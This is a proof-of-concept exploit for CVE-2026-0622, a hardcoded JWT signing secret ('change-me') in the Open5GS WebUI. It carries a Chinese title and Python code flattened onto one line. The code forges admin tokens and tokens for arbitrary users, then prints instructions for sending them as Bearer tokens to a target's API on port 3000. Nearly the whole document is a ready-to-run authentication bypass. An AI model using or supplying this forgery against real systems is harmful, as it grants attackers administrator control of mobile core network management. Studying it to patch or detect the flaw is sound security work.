CVE-2026-0622 Open5GS WebUI 硬编码JWT签名密钥漏洞

# CVE-2026-0622 PoC - Open5GS WebUI Hardcoded JWT Secret # This PoC demonstrates how to forge JWT tokens using the hardcoded secret import json import base64 import hmac import hashlib def base64url_encode(data): """URL-safe base64 encoding""" if isinstance(data, str): data = data.encode('utf-8') return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8') def create_jwt_hardcoded_secret(payload, secret="change-me"): """ Create JWT token using the hardcoded secret from Open5GS WebUI The secret 'change-me' is used when JWT_SECRET_KEY env var is not set """ header = { "alg": "HS256", "typ": "JWT" } # Encode header and payload header_encoded = base64url_encode(json.dumps(header)) payload_encoded = base64url_encode(json.dumps(payload)) # Create signature message = f"{header_encoded}.{payload_encoded}" signature = hmac.new( secret.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).digest() signature_encoded = base64url_encode(signature) return f"{message}.{signature_encoded}" def forge_admin_token(): """Forge admin token to gain administrator privileges""" payload = { "sub": "admin", "role": "admin", "iat": 1737408000, "exp": 1737494400 } return create_jwt_hardcoded_secret(payload) def forge_any_user_token(username): """Forge token for any arbitrary user""" payload = { "sub": username, "role": "user", "iat": 1737408000, "exp": 1737494400 } return create_jwt_hardcoded_secret(payload) if __name__ == "__main__": print("=" * 60) print("CVE-2026-0622 PoC - Open5GS WebUI Hardcoded JWT Secret") print("=" * 60) # Forge admin token admin_token = forge_admin_token() print("\n[+] Forged Admin Token:") print(admin_token) # Forge arbitrary user token user_token = forge_any_user_token("attacker") print("\n[+] Forged User Token (attacker):") print(user_token) print("\n[!] Usage: Use these tokens in Authorization header:") print(" Authorization: Bearer <token>") print("\n[!] Target: http://<target>:3000/api/...")